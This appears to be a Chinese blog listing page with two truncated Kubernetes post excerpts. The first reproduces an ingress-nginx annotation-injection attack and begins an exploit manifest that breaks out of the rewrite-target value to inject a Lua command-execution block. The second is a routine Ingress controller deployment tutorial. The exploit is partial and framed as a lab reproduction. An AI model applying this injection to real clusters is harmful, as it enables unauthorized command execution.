2023-11-16 myluzh Kubernetes
0x01 开头 这里的ingress一定要是nginx,进行复现的环境k8s版本是1.25,ingress里面参数nginx.ingress.kubernetes.io/rewrite-target,可以任意插入,就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...2023-9-21 myluzh Kubernetes
0x01 Ingress概述 NodePort方式的缺点:之前通过Service里面的NodePort方式把端口号对外暴露,通过IP+端口进行访问,缺点是在每个节点上都会起端口,在访问任何节点+暴露端口号就行实现访问,意味着每个端口只能使用一次,一个端口对应一个服务。实际环境都是使用域名,通过不同的域名跳转到不同的服务端口中。所以这边引入了Ingress。Ingress有很多种,这边使用的是Ingress nginx。 Ingress跟pod关系:pod跟ingress通过service进行关联,ingress作为统一入口,由service关联一组pod。 Ingress工作流程: 0x02 部署ingress controller 1、我选择把ingress controller只部署在了master节点,看个人喜好。也可以通过守护进程方式部署。 2、由于我的matser打了污点,不允许pod进行调度到这个节点,所以在yaml文件里面进行了污点容忍。 [root@master ingress]# cat ingress-controller.yaml apiVersion...